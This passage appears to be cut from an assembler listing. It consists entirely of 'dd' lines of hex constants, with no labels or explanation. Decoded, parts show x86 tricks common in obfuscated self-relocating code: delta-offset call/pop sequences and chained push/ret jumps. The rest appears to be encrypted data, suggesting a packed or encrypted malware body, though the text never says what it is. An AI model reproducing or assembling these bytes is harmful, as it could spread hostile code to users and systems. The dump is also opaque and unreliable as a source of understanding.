0E4D24F8Dh, 0F7E5629Ah, 4F26F6Dh dd 0B304817Bh, 37B5C270h, 4686CCBAh, 5894DBC9h, 6567EDDBh dd 72480FE8h, 0B7D28405h, 0F3A32E09h, 0E1A06741h, 0E46DC64Eh dd 1C046E8h, 0D86905FAh, 135C4A11h, 20B137D9h, 7A086A4Ah dd 2F3624B4h, 571D0BADh, 0E7890F95h, 0F4835920h, 22B7D275h dd 3E350B9Ch, 46B7D275h, 0D6EF0C5Dh, 8512976h, 19Ah, 0F5F77D7Dh dd 0DD1F6553h, 0FCD29960h, 0BE27367Bh, 0C84159Bh, 5513F68h dd 3686F1C7h, 5026BE27h, 0BE273627h, 76FC61E7h, 9B6229F0h dd 2736B2C5h, 4DDE64BEh, 74C5C177h, 77FFEDB4h, 9195E34h dd 77FDB7D9h, 75FB60F1h, 521E0CD3h, 5B31F89Ah, 0B7D9091Ch dd 5DEE74FAh, 0D909EC87h, 5EAF98B7h, 300A8441h, 325A51h dd 0F3CF0000h, 0D9A06741h, 9F5D2412h, 0D6A177FDh, 0AFBE2736h dd 3AC025A7h, 0D101D3A9h, 98FB474h, 1DE29167h, 0B9A2B7D9h dd 0A7A4B68h, 0A2645130h, 0D9000000h, 53F5F77Dh, 1DE41865h dd 8AA222Fh, 884FF182h, 368CEBC1h, 7101BE27h, 0A290167Bh dd 0F2781AD2h, 0EFED7361h, 0DB115F4Dh, 2A4D885Eh, 3040BE27h dd 7F07F5BCh, 0C455DB7Dh, 43ADCF47h, 781FA67Ch, 7A39B476h dd 0CB780D24h, 50B546A5h, 481503CAh, 5C291794h, 0EC3B0A67h dd 1DA34912h, 0E8BE0851h, 2C812348h, 13Fh, 3BB8343Fh, 4BC8044Dh dd 5EDB115Dh, 6BE8E470h, 7FFCF07Dh, 303DF52Eh, 1513FBCh dd 11604ECBh, 0E0705EDBh, 0CF966FECh, 0D2827EF9h, 2AB590B7h dd 7FFCF07Dh, 8C09C391h, 0A1E5A401h, 0F94C5B3Dh, 10604EDFh dd 44C3ADCh, 0A1D34BC8h, 0F9AA8047h, 0D3B474C9h, 5F2B1514h dd 4DDE7B53h, 0AD9B62E8h, 77652CA0h, 1FB8AEAh, 99DEB47Bh dd 7DB7D871h, 13E966F7h, 0B7D87160h, 2C355F25h, 71DE996Fh dd 0AA30B7D8h, 0EFC8224h, 89068C40h, 781AD29Bh, 0AA23h dd 41F39800h, 0EECAA067h, 3EB47A78h, 1FB8977h, 0D2854C2Bh dd 94DCCAB7h, 0AA30B658h, 8C2EB419h, 4E8ED7C5h, 4B81CFBDh dd 14C89684h, 8600774Dh, 880EB7D2h, 0C48C7AF7h, 827B68CFh dd 0FDEBF67Ah, 4EF07676h, 4C67F78h, 0E6372074h, 0F6F67B69h dd 4F3DCE54h, 604ECB01h, 4C3ADC10h, 1705CC00h, 66EC8E4Eh dd 0CCB533D5h, 0EB89D77Bh, 0F57C6A62h, 49CF55F7h, 0EE96DECCh dd 27502665h, 0E77C01A8h, 0B339DB61h, 20368B2Dh, 6F000000h dd 68F9F381h, 0ADB6A4DDh, 76078D2Fh, 0E4A4632Ah, 0AF3A0CA0h dd 492E04CBh, 0CDBE2731h, 7D2BB647h, 6A58FAF2h, 5240E21Ah dd 3927C903h, 2311B329h, 1200A25Ah, 0F7E58745h, 0DFCD6F6Dh dd 0C5B35597h, 129E40BCh, 5E08950h, 4, 8704E883h, 895C2404h dd 8953242Ch, 4C381E3h, 83000000h, 1C8704EBh, 2C895C24h dd 21B56824h, 14890000h, 0B1EC6824h, 2C8B0654h, 4C48124h dd 54000000h, 8124148Bh, 4C4h, 4EC8300h, 89241C89h, 85A89EBh dd 24148B5Bh, 81E68956h, 4C6h, 4C68100h, 87000000h, 0FF5C2434h dd 815D2434h, 4C4h, 0C8F3E900h, 6055FFF9h, 26B89BA4h, 30654B6h dd 0D3E0FFC5h, 894CE230h, 607C8B5Bh, 4834BE54h, 0DE059011h dd 2431AACFh, 5E641837h, 1A60027Bh, 662B4089h, 8507D721h dd 1B4F432Eh, 75F05B3h, 0D55DA8ADh, 0A1375D3Bh, 0FB2D0739h dd 0E810E087h, 0Ch, 231C84C7h, 59446B73h, 32E29120h, 0FE9h dd 76388700h, 0ED5926Dh, 843825D8h, 16DFBAEFh, 81F28B5Bh dd 7073C3h, 22D28100h, 2B560EFFh, 0F78166C9h, 34FF7103h dd 79CF8119h, 585A4B79h, 81D3EA80h, 0BE4A61E8h, 58D0F7Bh dd 0BA000000h, 31182D9Bh, 813DC081h, 0AFBA7D46h, 81445707h dd 0D2C010F0h, 0B04895Fh, 0CABF0F60h, 0E8E1B660h, 14h dd 0A8054C1Ch, 1CB6B010h, 0F2B1E4F5h, 8028B76Ch, 92C2DDEDh dd 83616159h, 0F98104E9h, 0FFFF9028h, 0FF9C850Fh, 8166FFFFh dd 0E83320EFh, 0Ah, 0CDB5EF45h, 0B809ED34h, 8B66AE4Ah dd 0C7815FD1h, 6A4Dh, 77F2D681h, 0C93367C7h, 73F68166h dd 3934FFAFh, 5BC7BF0Fh, 333DDBBAh, 0A2C38157h, 8154B2B3h dd 2303DCEBh, 840F45h, 81000000h, 0DFB6FBF3h, 0C6B70F3Fh dd 0B80F1C89h, 568CB99Eh, 8D0F6050h, 0 dd 8E0Fh, 5E610000h, 7C5CE981h, 0EBB0422Bh, 7C58C181h dd 0BE66422Bh, 0F9813803h, 0FFFF9630h, 0FFA3850Fh, 0D680FFFFh dd 0FE853h, 82100000h, 9F3672A0h, 4AB9BB5Dh, 4668FC15h dd 0FE860AFh, 53000000h, 0D6E18F54h, 8E72E8CFh, 0EE59DA6Dh dd 59F5EBEDh, 0E95A61F8h, 7, 0EFFB6429h, 8172DC8Bh, 6A5FC2h dd 52B7B800h, 24BE3720h, 811F83EAh, 83F07FF6h, 9CB9661Fh dd 601A8B4Dh, 2810Fh, 0D08B0000h, 915E40BFh, 0EB816175h dd 7D9EE50Ch, 6BB6C381h, 0BF0F3184h, 0D0F381F8h, 6603CB4Bh dd 1A89FB8Bh, 8890Fh, 820F0000h, 2, 0EA8132B1h, 53302FE8h dd 5E8h, 4C7FB300h, 0C881DB1Eh, 1C092C12h, 0E4C28159h dd 0E853302Fh, 12h, 7EF37237h, 1B705CDBh, 2AA8BF40h, 0F37F800Ah dd 0F88B1455h, 1EE835Fh, 1B850Fh, 0B70F0000h, 27E9FAh dd 0EB8A0000h, 6B5CA403h, 3A32EDBFh, 2AAFC356h, 6D763887h dd 0C6BF0F92h, 0FFFF64E9h, 0BE280FFh, 0B3E57BB0h, 603A8CE2h dd 0AE8D3h, 0CE950000h, 958EEA26h, 21432FE9h, 8367EF81h dd 8A591188h, 3EC181D7h, 8100005Fh, 0BFFB03C0h, 17926822h dd 6E90000h, 1F000000h, 8DE13461h, 11E95B0Fh, 0D2000000h dd 2AC4DCA5h, 0E5087E4Eh, 6C304822h, 185B11EDh, 0BA6631FFh dd 0E95E7967h, 7, 0CE12C53Ch, 812BC0A5h, 0AB2A6EEEh, 0F7D9BA75h dd 0EE8100C7h, 67331CDFh, 14E9h, 858BC600h, 5E444AAEh dd 0B42AEA3Ah, 4A26063h, 0B576F0DFh, 3AF6811Eh, 606F0A4Ch dd 5AEC52BBh, 7A8FB91Fh, 56611ACFh, 19820Fh, 14E90000h dd 0D000000h, 58F1A3ACh, 737E5B7Fh, 0B5D6F54h, 912AC925h dd 8F6BC9C4h, 11E901h, 0C3F10000h, 0F8D29130h, 89A73A4h dd 76C219E1h, 83572957h, 0B70F03E9h, 0F5149C6h, 835AC6BFh dd 850F01EBh, 0FFFFFF64h, 12880Fh, 0DE90000h, 78000000h dd 0F415B268h, 827294FFh, 0EDC2063Ah, 0BD83C08Bh, 64E2D45h dd 83097500h, 4E19E1BDh, 19740006h, 0C08B5350h, 421B8h dd 0B9858900h, 8D064E21h, 50B9419Dh, 5BD3FF06h, 0E1BD8358h dd 64E19h, 53501774h, 421B8h, 0B9858900h, 8D064E21h, 50B6309Dh dd 5BD3FF06h, 8BC08B58h, 4E103D9Dh, 185C606h, 56064E04h dd 0A8B85268h, 0C9B5FF9Ch, 8D064E24h, 517D2185h, 6AD0FF06h dd 10006804h, 0B5FF0000h, 64E21A1h, 0D0FF006Ah, 850FC085h dd 0Dh, 0B8h, 0C78D8D00h, 0FF064E73h, 8BC88BE1h, 3C4003C3h dd 0F805h, 0C508B00h, 0BD83D303h, 64E129Dh, 0E840F00h dd 8B000000h, 4E129D9Dh, 9D858B06h, 89064E2Ch, 8D525103h dd 4E428185h, 8BD0FF06h, 8BF18BFAh, 0F3C88BD1h, 185C6A4h dd 56064E04h, 1F6D3968h, 0C9B5FFD4h, 8D064E24h, 517D2185h dd 68D0FF06h, 8000h, 0FF52006Ah, 83C08BD0h, 4E2D45BDh dd 9750006h, 19E1BD83h, 7400064Eh, 8B535019h, 421B8C0h dd 85890000h, 64E3001h, 0B9A89D8Dh, 0D3FF0650h, 0BD83585Bh dd 64E19E1h, 50177400h, 421B853h, 85890000h, 64E3001h dd 0B6499D8Dh, 0D3FF0650h, 0C08B585Bh, 129D9D8Dh, 38B064Eh dd 840FC00Bh, 7, 5B8B038Bh, 0B8188904h, 4B41h, 0BC188D8Dh dd 6A0654h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 4292A8C3h, 9134D1B3h, 919D8B2Eh, 89064E15h dd 4E2F8DBDh, 58D8906h, 6A064E2Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0C324C356h dd 2D0E5075h, 2B6585C7h, 6D38064Eh, 0BA660000h, 85C7E73Fh dd 64E065Dh, 0 dd 12E9h, 0E270AD00h, 3898B35Bh, 320ACC81h, 75159D41h dd 0FF579E12h, 4E172DB5h, 0B9958B06h, 0FF064E0Fh, 4E0F9995h dd 319D0306h, 6A064E2Ch, 5995FF00h, 8B064E1Ah, 372BEBC0h dd 7ED77729h, 941EAFD7h, 22C58C83h, 893B3C68h, 0EA9825F8h dd 817BCC00h, 0AEF9BCADh, 5C03A336h, 0A81E9B98h, 85261303h dd 0DE85DDBh, 51000000h, 0B0EB8191h, 11CCF69Bh, 0A69A49C4h dd 605ED68Bh, 7B98D8Bh, 0B3BF064Eh, 617FE05Dh, 6FA2C681h dd 0BE90000h, 28000000h, 2D37FED9h, 72370DB0h, 0B87EF3h dd 8B000000h, 4E0F5995h, 63C8B06h, 75D9D09h, 0C781064Eh dd 511E8156h, 3F7A1EBAh, 13C78110h, 8908B868h, 4E271585h dd 0ABC78106h, 5760B839h, 25ADB529h, 48F064Eh, 0F2816606h dd 0D68BB1E4h, 8B04E883h, 0F0F881D7h, 0FFFFF90h, 0FFFFB885h dd 5E8FFh, 0CE90000h, 66849439h, 9C0FE381h, 13E859h, 0ED320000h dd 85D22C47h, 0ADE321CFh, 0F5DD1EF6h, 9B9D971Bh, 0D7B70F2Dh dd 860F605Fh, 6, 820Fh, 0B70F0000h, 0C78161C6h, 6063h dd 3018D23h, 5B8064Eh, 815D6091h, 60791CE8h, 0AE95Dh, 0D01D0000h dd 0E9D84269h, 0DE525D54h, 6FB937FFh, 5B0CBF1Ch, 33159589h dd 0EB81064Eh, 214AE64Bh, 58F0Fh, 66520000h, 815EC88Bh dd 241923EBh, 0F59D315Bh, 81064E07h, 0B09250F3h, 0DA815112h dd 2C8F33FFh, 0B51F8959h, 17EF81F8h, 0E8486F4Ah, 11h, 0A27B9719h dd 126B11DDh, 4A6E2A64h, 5DCBC704h, 0BDB589CFh, 59064E02h dd 4A13C781h, 8B66486Fh, 850F48F2h, 0FFFFFF90h, 96D28166h dd 799D8D55h, 0B8064E09h, 144Ch, 2A958589h, 0E8064Eh, 58000000h dd 0D05h, 0E9038900h, 144Ch, 513h dup(0) dd 0D8D2CAFEh, 5151A80Bh, 0D9198A4Fh, 0D5ABA80Bh, 0D9F175EAh dd 565FA80Bh, 5DBA8A4Fh, 563457AEh, 0DEE18A4Fh, 0D5ABA80Bh dd 0DEA875EAh, 577AA80Bh, 0DF2A8A4Fh, 57E4A80Bh, 0DFAC8A4Fh dd 0D5ABA80Bh, 2F2575EAh, 7E87EDD4h, 0BEC00313h, 0A752FC83h dd 0F6963990h, 0AD12157h, 2F43DEC7h, 7E80A2D4h, 86C00313h dd 0A752FC83h, 0F691E890h, 6D12157h, 2F43DEC7h, 7E8011D4h dd 92C00313h, 0A752FC83h, 0F6908490h, 12D12157h, 2F43DEC7h dd 7E81FAD4h, 9EC00313h, 0A752FC83h, 0F6901190h, 6ED12157h dd 2F43DEC7h, 7E8174D4h, 0EAC00313h, 0A752FC83h, 0F6939790h dd 66D12157h, 2F43DEC7h, 7E82F6D4h, 0F2C00313h, 0A752FC83h dd 0F6931D90h, 7ED12157h, 0C343DEC7h, 2A5012B8h, 4ECEDF15h dd 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A41158EAh, 2AA8ED96h dd 29458A15h, 0E367A024h, 0ADBAB496h, 2A54A1D5h, 64C6CB15h dd 0D5BA4155h, 63CE75EAh, 0A353AAEh, 42848C5Bh, 2211AB53h dd 5D55FFEAh, 3AABA424h, 0C3B9CF9Ch, 0E3A8EDDAh, 0F74586D7h dd 0EED744DAh, 0D7CEEAE9h, 26292359h, 0A2B9CFD2h, 6C54A851h dd 0A24162ADh, 0EA660351h, 2FEE27BFh, 7E8D30DBh, 12947513h dd 0A0D90201h, 0A411538Dh, 0A1EC79AEh, 941AE51h, 0F3CC22DCh dd 73BA8C41h, 2ADF1037h, 28C82173h, 2C0071C9h, 2BFD5BEAh dd 81508C15h, 7BDD0098h, 0FBABAE05h, 89EFD2A5h, 57DDA42Ch dd 0E7CEEBE9h, 229661ADh, 4ECEDF15h, 4AA86CD2h, 0A2458AFDh dd 0C0D5F251h, 0A41159AAh, 0A15CDDDAh, 0E7828668h, 2A54A8ADh dd 30BACC15h, 2C1AB0A0h, 69CE529Eh, 0B99783FCh, 31EFE2A5h dd 0A0D9F9FAh, 0A411538Dh, 9A0D79AEh, 1A232094h, 81328C55h dd 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h dd 0C2345495h, 0A2458A15h, 3CBE290Bh, 2943DEC1h, 57DFA024h dd 5E004D19h, 2A54A851h, 53D77553h, 0A152E649h, 69CE19CDh dd 0B9979BFCh, 31EFE2A5h, 0A0D9F9FAh, 0A411538Dh, 9A0D79AEh dd 1A232094h, 81328C65h, 0DF6E2184h, 0D629215Dh, 5E000174h dd 2A5C6A98h, 21A90140h, 0A1345495h, 0DFCE8260h, 0D6116F5Dh dd 0A2458A15h, 0C9953BFDh, 9197B91Dh, 0F2DE0491h, 0A2454A38h dd 0D5A82851h, 0A25E0E1Ah, 23EDA851h, 55458A15h, 25862DA0h dd 0A2458690h, 32A32851h, 0AA8E4B73h, 4C972337h, 0AE38A1BEh dd 4BA8D5D8h, 6BB9CF9Eh, 7F54A093h, 66C6669Eh, 5FDFC8ADh dd 0AE38011Dh, 2AA8ED96h, 0E458A15h, 22B769C2h, 62765826h dd 78C22FDh, 0A2458AD5h, 25AB54D1h, 0A2459391h, 2A5D1151h dd 53B28A15h, 0AF5B7AD4h, 0A2458A1Fh, 0E25610E0h, 91EF4B93h dd 577F0391h, 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h dd 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h, 229D00B9h dd 0E1D4A7B2h, 8860085h, 0F3CC22DCh, 73BA8C41h, 0A7FEF8E1h dd 0F69C129Fh, 0A0855757h, 0DF6E20D6h, 0D629215Dh, 5E000174h dd 2A5C6A98h, 21A90140h, 0A1345495h, 0DFCE8260h, 0D6116F5Dh dd 0A2458A15h, 2A54AFE9h, 0C3D77515h, 2652E671h, 28C82045h dd 2C0071C9h, 2BF55BEAh, 86949BFBh, 622E8531h, 8050AC59h dd 89EFAEA5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh, 4ECEDF15h dd 4AA86CD2h, 294DFF9Eh, 6F93A42Ch, 0A2458AE9h, 0D5FE0451h dd 0EC5D7B87h, 868C2357h, 2FEF4917h, 7E8D30DBh, 0C4947513h dd 4CBD28E9h, 88600BEh, 0A358D57Ah, 29247668h, 0E89D5414h dd 29108A1Dh, 0D6902BBDh, 0AA300175h, 0ED58D5DAh, 0A2457650h dd 80F8A851h, 0BAB418EAh, 0E2DFAE1Fh, 88558B9h, 0F3CC32DCh dd 71BA8C41h, 0E3941037h, 63CF2173h, 262983FBh, 0C3B9F79Ch dd 0E3A8EDDAh, 0F74582D7h, 0EED744DAh, 0D7CEEAE9h, 26292359h dd 0A2B9CFD2h, 8654A851h, 53D775BFh, 0A152E649h, 637726DDh dd 0B2CE25FBh, 5D43DECCh, 0AAECCE82h, 28EEECE4h, 577F0290h dd 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h, 292576D1h dd 57DFA024h, 5E004D19h, 2A54A851h, 6B773273h, 0B0D90337h dd 0A411538Dh, 92327BAEh, 9234B95h, 1FE04FDh, 0DFCC8668h dd 6FDFC9ADh, 0AA8743E9h, 0C6DFFD51h, 0C2B94E96h, 0A15CDDDAh dd 0E7828668h, 2A54A8ADh, 24FDEC15h, 0A7FFCEB8h, 0F69C128Fh dd 9A875757h, 0E0320A0h, 0B2CE25FBh, 5D43DECCh, 0ACECCE82h dd 89EEECD8h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh, 4ECEDF15h dd 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A4115CF2h, 2AA8ED96h dd 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h dd 2A162C5Eh, 0CA798A15h, 2A492C5Eh, 13798A15h, 2A382C5Eh dd 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h dd 0D554A851h, 0D7BA8660h, 36CE2559h, 0F143DEC7h, 0F8A732DCh dd 71BA8C41h, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h dd 2C007A7Dh, 51DF0746h, 0D552FC83h, 5E0003C6h, 2A5492B8h dd 0AE307515h, 0A75CDDAEh, 0F697B28Fh, 0B0D9FB57h, 0A41158E6h dd 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h, 0F81032DCh dd 2F168C41h, 7E865BCBh, 2B967513h, 2ABD5414h, 0C3458A15h dd 0E3A8EDDAh, 0BA4582D7h, 3044h, 2AE9h, 2404C700h, 0 dd 0E8h, 0ED815D00h, 654D7C3h, 424448Bh, 17818589h, 0B8064Eh dd 8D000000h, 4E4E108Dh, 0B8E1FF06h, 6754h, 75FDED55h dd 76F67A5Eh, 56E669A4h, 13FD49BCh, 71FD2048h, 0B6FD2066h dd 14FD2070h, 6FD20F8h, 0FCFD203Dh, 0C5FD20DFh, 0BAFD20AEh dd 91FD2016h, 0DCFD204Ah, 95FD2067h, 0EFD2070h, 6BFD20FAh dd 48FD203Eh, 15FD20DCh, 0D1FD20ADh, 25FD2014h, 9DFD2048h dd 95358A25h, 76D6A222h, 5CDE714Ah, 5CF44BBDh, 75FD7A5Ah dd 75F57227h, 74FD7997h, 73FD78CBh, 74F57DEDh, 74FC7BF3h dd 75FC7B78h, 75FD7ABCh, 76FD7A5Eh, 75A77F86h, 75A77F4Eh dd 75FD7ACBh, 74FC7BE4h, 74FC7BF3h, 75F8B290h, 0F0701ABCh dd 73A9A1A0h, 0ADC8FFA6h, 0F0707CC3h, 73A9A6DFh, 0A208FF6Ch dd 0F0707CA6h, 73A9A62Bh, 0ADCCFF35h, 0F0707C0Ah, 73A9A19Dh dd 0A204FF1Eh, 0F0707C9Fh, 73A9A194h, 0A200FF7Bh, 0F0707C2Dh dd 73A9A0B3h, 0ADFCFFD7h, 0F0707C7Bh, 73A9A0B6h, 0ADF8FF42h dd 0F0707CB1h, 73A9A0C5h, 0ADF4FFF0h, 0F0707CE8h, 73A9A0CCh dd 0ADE8FFA6h, 0F0707CC3h, 73A9A095h, 0ADF0FF6Ch, 0F0707CA6h dd 73A9A004h, 0ADECFF35h, 0F0707C0Ah, 73A9A0BDh, 0ADE8FF1Eh dd 0F0707C9Fh, 73A9A029h, 0ADD8FF7Bh, 0F0707C2Dh, 73A9A057h dd 0ADD4FFD7h, 0F0707C7Bh, 73A9A199h, 0ADD0FF42h, 0F0707CB1h dd 73A9A1A5h, 0ADE4FFF0h, 0F0707CE8h, 73A9A1D0h, 0ADE0FFA6h dd 0F0707CC3h, 73A9A6E2h, 0ADDCFF6Ch, 0F0767CA6h, 73B36288h dd 0AD93FF35h, 0F0767C0Ah, 73B35A4Eh, 0AD8FFF1Eh, 0B69C7C9Fh dd 9D11F1B0h, 75FD7AF2h, 0F717FB23h, 25FB2E65h, 0FDF53FD5h dd 212517ADh, 0B7342291h, 23AC7ACFh, 20AD29B7h, 75FD7A1Ah dd 987C2779h, 73A9A31Fh, 0A209FFA0h, 0C87D7C7Bh, 73A9AD63h dd 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 0AD8FEF86h, 0FEBD7CE8h dd 7A452B96h, 8AFD7A2Fh, 21250802h, 8048F7CDh, 0F8FB2E32h dd 9D50FCC6h, 75FD7E4Bh, 76456FCFh, 8AFD7A5Eh, 212508BAh dd 8048F791h, 0F8FB2E1Ch, 8A50FCD1h, 0BC1F2322h, 0A209F787h dd 2DA07CE8h, 2CA32005h, 776D92ECh, 0CD4D7A97h, 8A5779C1h dd 21251470h, 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh, 0DE9B5954h dd 0AD93EFD0h, 0DE9B7CC3h, 77959208h, 360B7AE5h, 6E8872F3h dd 0AD93EF86h, 0C54D7CE8h, 8AAD7954h, 212514BAh, 0F69B2091h dd 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h, 2FFD7ABEh dd 7B89A065h, 913D59A5h, 0F5DF7094h, 0FE4DBA07h, 9D3ED183h dd 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h, 0A916D049h dd 75FCA77Fh, 74BE8CCBh, 26D30FEDh, 75FF7B1Ah, 360B2079h dd 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h, 0FF4DBA07h dd 1B6885B5h, 2FFB2E2Ah, 51FD5F1Fh, 133F71DAh, 0E94DB9F5h dd 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h, 0DEFD7AF2h dd 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h, 13451C97h dd 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h, 75FD7BB6h dd 0B657E7EEh, 9D57E69Fh, 75FD7A69h, 75FCF323h, 74BE8CE5h dd 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh, 0AA158448h dd 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 0AD8FEF0Dh, 0C0707C2Dh dd 73A9A285h, 7F518A5Dh, 0E002D02Ch, 73A9A2F9h, 74E59208h dd 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h, 7FA5CA5Eh dd 0C53ED02Ch, 274DD0C7h, 8BE19261h, 0CD9B851Ah, 0DE9B4BFDh dd 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh, 750C923Ch dd 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h, 75059243h dd 2D4D7A5Eh, 0B6577925h, 0A216FF69h, 0C87D7C9Fh, 73A9AD0Eh dd 0F8EC0FF3h, 212527FCh, 61152ABAh, 9DFD7A5Ch, 75FD781Bh dd 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh, 0A216F787h dd 0C87D7CE8h, 73A9ADB5h, 0F8F10F2Fh, 21252712h, 0DE152ACDh dd 0B6FD7AE4h, 75FD7E4Ah, 7688579h, 0F8FB2E64h, 2121C0C3h dd 6DF9F029h, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh, 5E3AF1A8h dd 7115F9BBh, 8A3E7835h, 212514CBh, 514ACE29h, 0C1FF0E96h dd 13F2CA74h, 75C9924Eh, 9DAE7AF2h, 75FD7A27h, 0B5FEF0E6h dd 0B5F179BEh, 0B6577825h, 0AD93EF68h, 917D7C9Fh, 0F539FAEAh dd 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h, 0FCF992ACh dd 7345B995h, 8AFD7ACBh, 21250870h, 2460F7F4h, 0F8FB2EA1h dd 0CD3E39A0h, 75FD7A4Eh, 0AD8FEFD0h, 0B57E7CC3h, 8935F1CEh dd 0AD93EF1Ah, 97577CA6h, 0BE15B98Eh, 0FF028543h, 72D97B1Dh dd 76778E5Ah, 75FC6C7Fh, 0B61608CBh, 8908831Dh, 0F611F1A7h dd 9D9D86BDh, 75FD7ABCh, 0BF17FB04h, 0FCFB2EF3h, 0CF7D86EAh dd 73A9A2A6h, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h, 0AD8FE843h dd 0FCBD7C0Ah, 21250CADh, 0F835F191h, 2120E479h, 1B6F85E3h dd 0FDFB2E2Ah, 801F3C7Fh, 75FD6D04h, 37F795Eh, 35FB2EF7h dd 0A86FE01Ah, 0B67E7C9Fh, 22FEF3E1h, 75FD644Bh, 3777979h dd 0F8FB2E64h, 2120FAECh, 2B598929h, 75FD722Fh, 76F85CBh dd 0F6FB2E3Dh, 85897E0Ah, 72447C71h, 7DFD7ABCh, 0C3F24B5Ah dd 761EBBF7h, 75FD742Eh, 44E172CBh, 75FD765Ch, 44F972F2h dd 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh, 8A015B7Fh dd 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh, 1102229Ch dd 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h, 0B6AD3A78h dd 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h, 2FFD7A2Fh dd 0A84C9016h, 0CF707C9Fh, 73A9A29Fh, 0CCF50F79h, 75FD7A71h dd 0BC9CDE4Fh, 26FD7E9Ch, 0AD87E7A2h, 497D7CC3h, 71887BD3h dd 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh, 9F17FB04h dd 0F8FB2EF2h, 21250025h, 7D80F1CDh, 75FD725Ch, 145989F2h dd 75F9B8B0h, 0F40F7DCh, 46FB2E86h, 75F5C3EFh, 0DF0E7A97h dd 0F89DB9AAh, 21250058h, 74C2FBF4h, 0FC7B78h, 7182FBB0h dd 74FC7B5Fh, 9E04795Ah, 0B69C8296h, 0F40F7ABh, 0CDFB2E3Dh dd 75FD7AF3h, 75FD72C0h, 145789BCh, 0FE3DF19Dh, 0F278F7EFh dd 8AFB2E4Fh, 0E9CA8BD0h, 3Bh, 0F5BD8B60h, 83064E21h, 0C93304EFh dd 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h, 23D21BE8h dd 4EC233D3h, 0FFF1850Fh, 8941FFFFh, 0F98107h, 0F000001h dd 0FFFFD382h, 8BC361FFh, 16EBC8h, 4 dup(0) dd 1000000h, 13401h, 6A065400h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0AF57C356h, 0FD7FAA9Eh dd 0E93079D9h, 10h, 8AA75889h, 0E2C4542Ah, 8C610727h, 2B775DC3h dd 5024B790h, 13E8h, 0EC218E00h, 952C20DEh, 8100951Fh dd 0BF4DB9C4h, 2A726C9Fh, 0F525051h, 5A585A31h, 6A9059h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 73FD89C3h, 6D18589h, 8B60064Eh, 4E045D85h, 820F5106h dd 0 dd 6A615Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 50C35242h, 6FA035F2h, 893BC1E9h, 4E15F195h, 6A006A06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 6D4DC351h, 0E050858Dh, 6A0654h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8A0F47C3h dd 4, 61D38B60h, 0B5895650h, 64E1F4Dh, 6650595Bh, 89D6CFB9h dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 46D29FC3h, 6A917331h, 42B96600h, 0E9006ACFh dd 0Ah, 419CBF3h, 82363FCCh, 60571B56h, 17C08166h, 5A61F9ADh dd 88595FFh, 160064Eh, 4E124595h, 0C19D2906h, 61064E14h dd 573E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 0F18C0BCh, 0E8FAB7h, 5D000000h, 0E055ED81h dd 6A0654h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0AA4040C3h, 820FC2A1h, 19h, 14E9h, 4CC1E000h dd 0D204B7B8h, 7E1C510Dh, 1BB639CEh, 0B5B5C75Eh, 398D231Bh dd 68064E0Ch, 17938DFAh, 81D18B66h, 825A2434h, 81661793h dd 0FF4954F3h, 4E1A5995h, 8DCE8B06h, 54DE9DB5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 4C23A7A7h, 5A5BD8Bh, 8D0F064Eh, 3, 0C7D6B70Fh, 67655206h dd 57006A6Dh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 46C7288Eh, 636E6F04h, 50006A6Ch, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0A7BFFE1h dd 0D68B6697h, 610846C7h, 8B007373h, 4E159D9Dh, 65950906h dd 6A064E22h, 94BF6600h, 0DF81660Eh, 858D95ADh, 654DE9Dh dd 0E855006Ah, 3, 5DC35D20h, 